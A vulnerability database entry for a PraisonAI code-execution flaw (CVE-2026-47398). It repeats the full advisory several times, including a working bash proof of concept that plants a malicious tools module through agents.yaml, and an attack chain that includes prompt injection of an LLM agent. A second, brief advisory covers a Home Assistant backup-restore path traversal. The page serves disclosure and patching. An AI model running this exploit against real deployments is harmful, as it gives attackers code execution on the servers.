CVE-2026-47398
highpriority · track · 0EPSS 0.005 · 43 %ileEUUSEPSS · scored 2026-10-27
PraisonAI is a multi-agent teams system. The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate to the tool_override.py sinks. However, two additional spec.loader.exec_module call sites in praisonai/agents_generator.py were missed and remain completely unguarded in versions prior to 4.6.40. Both functions accept a module_path parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate. Version 4.6.40 fixes the issue.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (2)
Products and version ranges known to be affected.
advisories (3)
Vendor and ecosystem advisories describing this.
- GHSA-78r8-wwqv-r299PraisonAI: Arbitrary code execution via unguarded `spec.loader.exec_module` in `agents_generator.py` - sibling of CVE-2026-443342026-05-29ghsa · osvUS
<html><head></head><body><h2>Arbitrary code execution via ungated <code>spec.loader.exec_module</code> in <code>agents_generator.py</code> (v4.6.32 chokepoint refactor bypass)</h2> <h3>Summary</h3> <p>The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code> env-var gate to the <code>tool_override.py</code> sinks. However, <strong>two additional <code>spec.loader.exec_module</code> call sites</strong> in <code>praisonai/agents_generator.py</code> were missed and remain completely unguarded on current <code>master</code> (v4.6.37). Both functions accept a <code>module_path</code> parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.</p> <h3>Patch lineage</h3> CVE | GHSA | Fixed in | What was patched -- | -- | -- | -- CVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD tools.py auto-load in tool_resolver.py CVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to tool_resolver.py + api/call.py CVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in templates/tool_override.py This finding | — | unfixed | Missed sinks in agents_generator.py <p>Every prior patch addressed a subset of <code>exec_module</code> call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.</p> <h3>Vulnerable code</h3> <pre><code class="language-python"># praisonai/agents_generator.py (master HEAD; v4.6.37) 336 def load_tools_from_module(self, module_path): # ... 349 spec = importlib.util.spec_from_file_location("tools_module", module_path) 350 module = importlib.util.module_from_spec(spec) 351 spec.loader.exec_module(module) # ← NO gate 372 def load_tools_from_module_class(self, module_path): # ... (same pattern — spec_from_file_location → exec_module, no gate) </code></pre> <p>Neither function checks <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code>. Neither validates <code>module_path</code> against an allowlist. The <code>module_path</code> value originates from YAML agent configuration (<code>agents.yaml</code>) tool definitions, which can be:</p> <ol> <li><strong>Attacker-controlled via shared/writable config directory</strong> — same CWD-plant vector as CVE-2026-40156.</li> <li><strong>Attacker-controlled via recipe/GitHub fetch</strong> — same remote trigger as CVE-2026-44334 (<code>POST /v1/recipes/run</code> with <code>allow_any_github=True</code>).</li> <li><strong>Attacker-influenced via prompt injection</strong> — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.</li> </ol> <h3>Attack chain (recipe vector)</h3> <pre><code>HTTP POST /v1/recipes/run body: {"recipe": "github:<attacker>/<repo>/<recipe>"} │ ▼ Recipe fetched → agents.yaml contains: tools: - module_path: ./evil.py # colocated in recipe dir │ ▼ AgentsGenerator.load_tools_from_module("./evil.py") │ ▼ agents_generator.py:349 spec = spec_from_file_location("tools_module", "./evil.py") agents_generator.py:351 spec.loader.exec_module(module) ← RCE </code></pre> <p>No <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code> check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.</p> <h3>PoC</h3> <pre><code class="language-bash">#!/usr/bin/env bash # Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37) set -euo pipefail WORKDIR=$(mktemp -d) trap "rm -rf $WORKDIR" EXIT # 1. Malicious module cat > "$WORKDIR/evil.py" << 'PYEOF' import os, sys, tempfile, time marker = os.path.join(tempfile.gettempdir(), f"praisonai_agents_gen_pwn_{int(time.time())}.txt") with open(marker, "w") as f: f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n") print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True) def dummy_tool(): """Placeholder so tool scan finds something.""" pass PYEOF # 2. agents.yaml that references it cat > "$WORKDIR/agents.yaml" << 'YAMLEOF' framework: praisonai topic: "PoC — agents_generator exec_module bypass" roles: poc_agent: role: PoC goal: Trigger load_tools_from_module backstory: n/a tools: - evil.py YAMLEOF # 3. Run cd "$WORKDIR" python -c " from praisonai import PraisonAI try: ai = PraisonAI(agent_file='agents.yaml') ai.main() except Exception: pass # downstream failure expected; exec_module already fired " # 4. Verify MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1) if [ -n "$MARKER" ]; then echo "SUCCESS — marker file written by server process:" cat "$MARKER" else echo "FAIL — marker not found" exit 1 fi </code></pre> <h3>Impact</h3> <p>Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an <code>agents.yaml</code> or colocate a <code>.py</code> file achieves code execution as the service account.</p> <h3>Severity</h3> <p><strong>High</strong> — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)</p> <p>When combined with the recipe server's default no-auth posture and <code>allow_any_github=True</code>, the attack becomes <strong>network-reachable without authentication</strong>, elevating to:</p> <p>CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)</p> <h3>CWE</h3> <ul> <li>CWE-94: Improper Control of Generation of Code ('Code Injection')</li> <li>CWE-426: Untrusted Search Path</li> <li>CWE-829: Inclusion of Functionality from Untrusted Control Sphere</li> </ul> <h3>Affected versions</h3> <p>All versions containing <code>agents_generator.py</code> with these functions — at minimum <code>>= 2.0.0, <= 4.6.37</code> (current <code>master</code> HEAD).</p> <h3>Suggested fix</h3> <p>Apply the same <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code> env-var gate used in <code>tool_resolver.py</code> and <code>api/call.py</code> to both call sites in <code>agents_generator.py</code>:</p> <pre><code class="language-python">import os def load_tools_from_module(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ... def load_tools_from_module_class(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ... </code></pre> <p>Additionally, validate <code>module_path</code> against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.</p> <h3>Credit</h3> <p>Kai Aizen & Avraham Shemesh / <a href="https://snailsploit.com/">SnailSploit</a></p></body></html>## Arbitrary code execution via ungated `spec.loader.exec_module` in `agents_generator.py` (v4.6.32 chokepoint refactor bypass) ### TL;DR The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the `PRAISONAI_ALLOW_LOCAL_TOOLS` env-var gate to the `tool_override.py` sinks. However, **two additional `spec.loader.exec_module` call sites** in `praisonai/agents_generator.py` were missed and remain completely unguarded on current `master` (v4.6.37). Both functions accept a `module_path` parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate. ### Patch lineage | CVE | GHSA | Fixed in | What was patched | | --- | --- | --- | --- | | CVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD `tools.py` auto-load in `tool_resolver.py` | | CVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to `tool_resolver.py` + `api/call.py` | | CVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in `templates/tool_override.py` | | **This finding** | — | **unfixed** | Missed sinks in `agents_generator.py` | Every prior patch addressed a subset of `exec_module` call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched. ### Vulnerable code ```python # praisonai/agents_generator.py (master HEAD; v4.6.37) 336 def load_tools_from_module(self, module_path): # ... 349 spec = importlib.util.spec_from_file_location("tools_module", module_path) 350 module = importlib.util.module_from_spec(spec) 351 spec.loader.exec_module(module) # ← NO gate 372 def load_tools_from_module_class(self, module_path): # ... (same pattern — spec_from_file_location → exec_module, no gate) ``` Neither function checks `PRAISONAI_ALLOW_LOCAL_TOOLS`. Neither validates `module_path` against an allowlist. The `module_path` value originates from YAML agent configuration (`agents.yaml`) tool definitions, which can be: 1. **Attacker-controlled via shared/writable config directory** — same CWD-plant vector as CVE-2026-40156. 2. **Attacker-controlled via recipe/GitHub fetch** — same remote trigger as CVE-2026-44334 (`POST /v1/recipes/run` with `allow_any_github=True`). 3. **Attacker-influenced via prompt injection** — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer. ### Attack chain (recipe vector) ``` HTTP POST /v1/recipes/run body: {"recipe": "github:<attacker>/<repo>/<recipe>"} │ ▼ Recipe fetched → agents.yaml contains: tools: - module_path: ./evil.py # colocated in recipe dir │ ▼ AgentsGenerator.load_tools_from_module("./evil.py") │ ▼ agents_generator.py:349 spec = spec_from_file_location("tools_module", "./evil.py") agents_generator.py:351 spec.loader.exec_module(module) ← RCE ``` No `PRAISONAI_ALLOW_LOCAL_TOOLS` check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call. ### PoC ```bash #!/usr/bin/env bash # Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37) set -euo pipefail WORKDIR=$(mktemp -d) trap "rm -rf $WORKDIR" EXIT # 1. Malicious module cat > "$WORKDIR/evil.py" << 'PYEOF' import os, sys, tempfile, time marker = os.path.join(tempfile.gettempdir(), f"praisonai_agents_gen_pwn_{int(time.time())}.txt") with open(marker, "w") as f: f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n") print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True) def dummy_tool(): """Placeholder so tool scan finds something.""" pass PYEOF # 2. agents.yaml that references it cat > "$WORKDIR/agents.yaml" << 'YAMLEOF' framework: praisonai topic: "PoC — agents_generator exec_module bypass" roles: poc_agent: role: PoC goal: Trigger load_tools_from_module backstory: n/a tools: - evil.py YAMLEOF # 3. Run cd "$WORKDIR" python -c " from praisonai import PraisonAI try: ai = PraisonAI(agent_file='agents.yaml') ai.main() except Exception: pass # downstream failure expected; exec_module already fired " # 4. Verify MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1) if [ -n "$MARKER" ]; then echo "SUCCESS — marker file written by server process:" cat "$MARKER" else echo "FAIL — marker not found" exit 1 fi ``` ### Impact Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an `agents.yaml` or colocate a `.py` file achieves code execution as the service account. ### Severity **High** — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8) When combined with the recipe server's default no-auth posture and `allow_any_github=True`, the attack becomes **network-reachable without authentication**, elevating to: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical) ### CWE - CWE-94: Improper Control of Generation of Code ('Code Injection') - CWE-426: Untrusted Search Path - CWE-829: Inclusion of Functionality from Untrusted Control Sphere ### Affected versions All versions containing `agents_generator.py` with these functions — at minimum `>= 2.0.0, <= 4.6.37` (current `master` HEAD). ### Suggested fix Apply the same `PRAISONAI_ALLOW_LOCAL_TOOLS` env-var gate used in `tool_resolver.py` and `api/call.py` to both call sites in `agents_generator.py`: ```python import os def load_tools_from_module(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ... def load_tools_from_module_class(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ... ``` Additionally, validate `module_path` against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths. ### Credit Kai Aizen & Avraham Shemesh / [[SnailSploit](https://snailsploit.com/)](https://snailsploit.com)
- CVE-2026-64824Home Assistant Core < 2026.7.0 Symlink Path Traversal RCE via backup-restore2026-07-21vendor · osvUS
Home Assistant Core before 2026.7.0 contains a path traversal vulnerability in the backup-restore function that allows attackers to write files to arbitrary absolute filesystem paths by supplying a crafted tar archive with a SYMTYPE entry containing a benign member name paired with an absolute linkname pointing outside the extraction directory. Because the official Docker image runs the Home Assistant process as root and the subsequent regular-file entry is written through the unvalidated symlink, attackers can achieve remote code execution by overwriting auto-imported Python paths such as site-packages/sitecustomize.py or custom component directories.
- PYSEC-2026-2905PraisonAI: Arbitrary code execution via unguarded `spec.loader.exec_module` in `agents_generator.py` - sibling of CVE-2026-443342026-07-13vendor · osvUS
<html><head></head><body><h2>Arbitrary code execution via ungated <code>spec.loader.exec_module</code> in <code>agents_generator.py</code> (v4.6.32 chokepoint refactor bypass)</h2> <h3>Summary</h3> <p>The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code> env-var gate to the <code>tool_override.py</code> sinks. However, <strong>two additional <code>spec.loader.exec_module</code> call sites</strong> in <code>praisonai/agents_generator.py</code> were missed and remain completely unguarded on current <code>master</code> (v4.6.37). Both functions accept a <code>module_path</code> parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.</p> <h3>Patch lineage</h3> CVE | GHSA | Fixed in | What was patched -- | -- | -- | -- CVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD tools.py auto-load in tool_resolver.py CVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to tool_resolver.py + api/call.py CVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in templates/tool_override.py This finding | — | unfixed | Missed sinks in agents_generator.py <p>Every prior patch addressed a subset of <code>exec_module</code> call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.</p> <h3>Vulnerable code</h3> <pre><code class="language-python"># praisonai/agents_generator.py (master HEAD; v4.6.37) 336 def load_tools_from_module(self, module_path): # ... 349 spec = importlib.util.spec_from_file_location("tools_module", module_path) 350 module = importlib.util.module_from_spec(spec) 351 spec.loader.exec_module(module) # ← NO gate 372 def load_tools_from_module_class(self, module_path): # ... (same pattern — spec_from_file_location → exec_module, no gate) </code></pre> <p>Neither function checks <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code>. Neither validates <code>module_path</code> against an allowlist. The <code>module_path</code> value originates from YAML agent configuration (<code>agents.yaml</code>) tool definitions, which can be:</p> <ol> <li><strong>Attacker-controlled via shared/writable config directory</strong> — same CWD-plant vector as CVE-2026-40156.</li> <li><strong>Attacker-controlled via recipe/GitHub fetch</strong> — same remote trigger as CVE-2026-44334 (<code>POST /v1/recipes/run</code> with <code>allow_any_github=True</code>).</li> <li><strong>Attacker-influenced via prompt injection</strong> — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.</li> </ol> <h3>Attack chain (recipe vector)</h3> <pre><code>HTTP POST /v1/recipes/run body: {"recipe": "github:<attacker>/<repo>/<recipe>"} │ ▼ Recipe fetched → agents.yaml contains: tools: - module_path: ./evil.py # colocated in recipe dir │ ▼ AgentsGenerator.load_tools_from_module("./evil.py") │ ▼ agents_generator.py:349 spec = spec_from_file_location("tools_module", "./evil.py") agents_generator.py:351 spec.loader.exec_module(module) ← RCE </code></pre> <p>No <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code> check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.</p> <h3>PoC</h3> <pre><code class="language-bash">#!/usr/bin/env bash # Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37) set -euo pipefail WORKDIR=$(mktemp -d) trap "rm -rf $WORKDIR" EXIT # 1. Malicious module cat > "$WORKDIR/evil.py" << 'PYEOF' import os, sys, tempfile, time marker = os.path.join(tempfile.gettempdir(), f"praisonai_agents_gen_pwn_{int(time.time())}.txt") with open(marker, "w") as f: f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n") print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True) def dummy_tool(): """Placeholder so tool scan finds something.""" pass PYEOF # 2. agents.yaml that references it cat > "$WORKDIR/agents.yaml" << 'YAMLEOF' framework: praisonai topic: "PoC — agents_generator exec_module bypass" roles: poc_agent: role: PoC goal: Trigger load_tools_from_module backstory: n/a tools: - evil.py YAMLEOF # 3. Run cd "$WORKDIR" python -c " from praisonai import PraisonAI try: ai = PraisonAI(agent_file='agents.yaml') ai.main() except Exception: pass # downstream failure expected; exec_module already fired " # 4. Verify MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1) if [ -n "$MARKER" ]; then echo "SUCCESS — marker file written by server process:" cat "$MARKER" else echo "FAIL — marker not found" exit 1 fi </code></pre> <h3>Impact</h3> <p>Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an <code>agents.yaml</code> or colocate a <code>.py</code> file achieves code execution as the service account.</p> <h3>Severity</h3> <p><strong>High</strong> — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)</p> <p>When combined with the recipe server's default no-auth posture and <code>allow_any_github=True</code>, the attack becomes <strong>network-reachable without authentication</strong>, elevating to:</p> <p>CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)</p> <h3>CWE</h3> <ul> <li>CWE-94: Improper Control of Generation of Code ('Code Injection')</li> <li>CWE-426: Untrusted Search Path</li> <li>CWE-829: Inclusion of Functionality from Untrusted Control Sphere</li> </ul> <h3>Affected versions</h3> <p>All versions containing <code>agents_generator.py</code> with these functions — at minimum <code>>= 2.0.0, <= 4.6.37</code> (current <code>master</code> HEAD).</p> <h3>Suggested fix</h3> <p>Apply the same <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code> env-var gate used in <code>tool_resolver.py</code> and <code>api/call.py</code> to both call sites in <code>agents_generator.py</code>:</p> <pre><code class="language-python">import os def load_tools_from_module(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ... def load_tools_from_module_class(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ... </code></pre> <p>Additionally, validate <code>module_path</code> against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.</p> <h3>Credit</h3> <p>Kai Aizen & Avraham Shemesh / <a href="https://snailsploit.com/">SnailSploit</a></p></body></html>## Arbitrary code execution via ungated `spec.loader.exec_module` in `agents_generator.py` (v4.6.32 chokepoint refactor bypass) ### TL;DR The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the `PRAISONAI_ALLOW_LOCAL_TOOLS` env-var gate to the `tool_override.py` sinks. However, **two additional `spec.loader.exec_module` call sites** in `praisonai/agents_generator.py` were missed and remain completely unguarded on current `master` (v4.6.37). Both functions accept a `module_path` parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate. ### Patch lineage | CVE | GHSA | Fixed in | What was patched | | --- | --- | --- | --- | | CVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD `tools.py` auto-load in `tool_resolver.py` | | CVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to `tool_resolver.py` + `api/call.py` | | CVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in `templates/tool_override.py` | | **This finding** | — | **unfixed** | Missed sinks in `agents_generator.py` | Every prior patch addressed a subset of `exec_module` call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched. ### Vulnerable code ```python # praisonai/agents_generator.py (master HEAD; v4.6.37) 336 def load_tools_from_module(self, module_path): # ... 349 spec = importlib.util.spec_from_file_location("tools_module", module_path) 350 module = importlib.util.module_from_spec(spec) 351 spec.loader.exec_module(module) # ← NO gate 372 def load_tools_from_module_class(self, module_path): # ... (same pattern — spec_from_file_location → exec_module, no gate) ``` Neither function checks `PRAISONAI_ALLOW_LOCAL_TOOLS`. Neither validates `module_path` against an allowlist. The `module_path` value originates from YAML agent configuration (`agents.yaml`) tool definitions, which can be: 1. **Attacker-controlled via shared/writable config directory** — same CWD-plant vector as CVE-2026-40156. 2. **Attacker-controlled via recipe/GitHub fetch** — same remote trigger as CVE-2026-44334 (`POST /v1/recipes/run` with `allow_any_github=True`). 3. **Attacker-influenced via prompt injection** — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer. ### Attack chain (recipe vector) ``` HTTP POST /v1/recipes/run body: {"recipe": "github:<attacker>/<repo>/<recipe>"} │ ▼ Recipe fetched → agents.yaml contains: tools: - module_path: ./evil.py # colocated in recipe dir │ ▼ AgentsGenerator.load_tools_from_module("./evil.py") │ ▼ agents_generator.py:349 spec = spec_from_file_location("tools_module", "./evil.py") agents_generator.py:351 spec.loader.exec_module(module) ← RCE ``` No `PRAISONAI_ALLOW_LOCAL_TOOLS` check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call. ### PoC ```bash #!/usr/bin/env bash # Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37) set -euo pipefail WORKDIR=$(mktemp -d) trap "rm -rf $WORKDIR" EXIT # 1. Malicious module cat > "$WORKDIR/evil.py" << 'PYEOF' import os, sys, tempfile, time marker = os.path.join(tempfile.gettempdir(), f"praisonai_agents_gen_pwn_{int(time.time())}.txt") with open(marker, "w") as f: f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n") print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True) def dummy_tool(): """Placeholder so tool scan finds something.""" pass PYEOF # 2. agents.yaml that references it cat > "$WORKDIR/agents.yaml" << 'YAMLEOF' framework: praisonai topic: "PoC — agents_generator exec_module bypass" roles: poc_agent: role: PoC goal: Trigger load_tools_from_module backstory: n/a tools: - evil.py YAMLEOF # 3. Run cd "$WORKDIR" python -c " from praisonai import PraisonAI try: ai = PraisonAI(agent_file='agents.yaml') ai.main() except Exception: pass # downstream failure expected; exec_module already fired " # 4. Verify MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1) if [ -n "$MARKER" ]; then echo "SUCCESS — marker file written by server process:" cat "$MARKER" else echo "FAIL — marker not found" exit 1 fi ``` ### Impact Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an `agents.yaml` or colocate a `.py` file achieves code execution as the service account. ### Severity **High** — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8) When combined with the recipe server's default no-auth posture and `allow_any_github=True`, the attack becomes **network-reachable without authentication**, elevating to: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical) ### CWE - CWE-94: Improper Control of Generation of Code ('Code Injection') - CWE-426: Untrusted Search Path - CWE-829: Inclusion of Functionality from Untrusted Control Sphere ### Affected versions All versions containing `agents_generator.py` with these functions — at minimum `>= 2.0.0, <= 4.6.37` (current `master` HEAD). ### Suggested fix Apply the same `PRAISONAI_ALLOW_LOCAL_TOOLS` env-var gate used in `tool_resolver.py` and `api/call.py` to both call sites in `agents_generator.py`: ```python import os def load_tools_from_module(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ... def load_tools_from_module_class(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ... ``` Additionally, validate `module_path` against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths. ### Credit Kai Aizen & Avraham Shemesh / [[SnailSploit](https://snailsploit.com/)](https://snailsploit.com)
also known as (6)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (9)
External citations — patches, advisories, analysis.
- https://github.com/MervinPraison/PraisonAI/commit/ef79b7a0561796ad9807f0f09538c25cc78d3619cnnvd
- https://github.com/MervinPraison/PraisonAI/pull/1685cnnvd
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-78r8-wwqv-r299cnnvd
- https://github.com/MervinPraison/PraisonAI/commit/ef79b7a0561796ad9807f0f09538c25cc78d3619enisa_euvd
- https://github.com/MervinPraison/PraisonAI/pull/1685enisa_euvd
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-78r8-wwqv-r299enisa_euvd
- https://github.com/MervinPraison/PraisonAI/commit/ef79b7a0561796ad9807f0f09538c25cc78d3619nvd
- https://github.com/MervinPraison/PraisonAI/pull/1685nvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan